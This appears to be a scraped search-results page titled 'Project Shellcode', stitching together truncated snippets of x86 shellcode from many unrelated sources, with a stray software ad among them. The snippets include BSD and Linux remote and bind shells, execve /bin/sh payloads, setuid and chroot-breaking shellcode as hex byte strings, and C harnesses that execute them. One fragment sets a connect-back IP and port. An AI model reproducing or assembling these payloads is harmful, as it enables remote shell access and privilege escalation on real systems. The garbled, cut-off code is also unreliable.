Project Shellcode

Here is a BSD remote shellcode. Tested on NetBSD . SHould work on ... eax int $0x80 pushl $0x01 pushl %edi movb $0x6A, %al pushl %eax int $0x80 pushl %eax ...

... int 0x80 ;close(file) mov al, 0x06 int 0x80 ;exit(0); xor ebx, ebx mov al, 0x01 int 0x80 ... main(void) { void (*shellcode)() = code; shellcode(); } // milw0rm.com [2008-11-19] ...

Free download cmos .asm Files at Software Informer - Zeta Debugger is a stand-alone source level debugger and code profiler for applications written for Windows 98 ...

global _start _start: xor %eax, %eax movb $102, %al mov %eax, %esi # socketcall ... int $0x80 # sys_accept mov %esi, %eax inc %ebx int $0x80 push %eax ...

... leal 0x17(%ebx),%eax int $0x80 cdq pushl $0x68732f6e pushl ... movl %esp, %ecx movb $0xb, %al int $0x80 */ char shellcode[] = "\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e ...

... pop eax int 0x80 ;listen mov al, 0x66 mov bl, 0x04 int 0x80 ;accept push edx push esi ... void (*shellcode)(); shellcode = (void *)code; shellcode(); return (0) ...

... (ebx) * * push byte 6 * pop eax * int 0x80 * * ; exit() * * push byte 1 * pop eax * int 0x80 */ main() { char shellcode[] = "\x6a\x05\x58\x31\xc9 ...

... _start: jmp 1f 2: xor %eax, %eax mov %eax, %edx movb $1, %al mov %eax, %ebx pop %ecx movb $3, %dl movb $4, %al int $0x80 1: call 2b .ascii "LQ\n" ...

mov eax, 6 ; mov ebx, [esi] ; int 0x80 ; close(stdin[READ]) ; ; mov eax, 6 ; mov ebx, edi ; add ebx, 4 ; mov ebx, [ebx] ; int 0x80 ; close(stdout ...

at least not that i # could find, so this is not totally optimized and # can probably be ... .set IP1, 10 .set IP2, 20 .set IP3, 40 .set IP4, 6 # port to send to. ...

0x96d,%cx movb $0xf,%al int $0x80 xorl %eax,%eax inc %eax xorl %ebx,%ebx int $0x80 call -0x63 .ascii \"/bin/cp8/bin/sh8/tmp/katy\" "); */ /*RaiSe ...

... setuid-bsd.c - setuid/execve shellcode for *BSD/x86 * Copyright ... 20e3: b0 3b mov $0x3b,%al * 20e5: cd 80 int $0x80 */ char sc[] = /* 7 + 23 = 30 bytes */ "\x31\xc0\x50\x50 ...

... __asm__("int $0x80"); //rcev password __asm__("xor %eax, %eax"); __asm__("pushl ... "int $0x80"); // /bin/sh __asm__("xor %ecx, %ecx"); __asm__("pushl %ecx" ...

... _start _start: jmp get_string shellcode: ;execve xor eax, eax pop ... al, 11 mov ebx, esi lea ecx, [esi + 8] lea edx, [esi + 12] int 0x80 get_string: call shellcode db '/bin/sh' ...

deliver shellcode however you would normally deliver shellcode to a machine, lets say 192. ... xcd\x80" // int $0x80 ;fork "\x85\xc0" // test %eax,%eax "\x75\xe2" ...

s0t4ipv6@shellcode.com.ar 45 bytes. - break chrooted */ char shellcode[]= "\x68\x62\x2e ... xcd\x80" /* int $0x80 */ "\xe2\xfa" /* loop <shellcode +31> */ "\x47" ...

a514b18340a690e6553861ef5d530eef ; Shellcode-Arch .: x86 ; Nasm ... path push eax ; dummy mov al, 0x3b ; value of SYS_execve int 0x80 ; invoke kernel ...

8a46e92e51db66046f4dd151f4b87ba6 ; Shellcode-Arch .: x86 ; Nasm ... path push edx ; dummy mov al, 0x3b ; value of SYS_execve int 0x80 ; invoke kernel ...

... within in the marked place * in the shellcode (look for the comment) ... xb0\x06" // mov $0x6,%al "\xcd\x80" // int $0x80 "\x99" // cltd "\xb0\x0b" // mov $0xb,%al "\x89 ...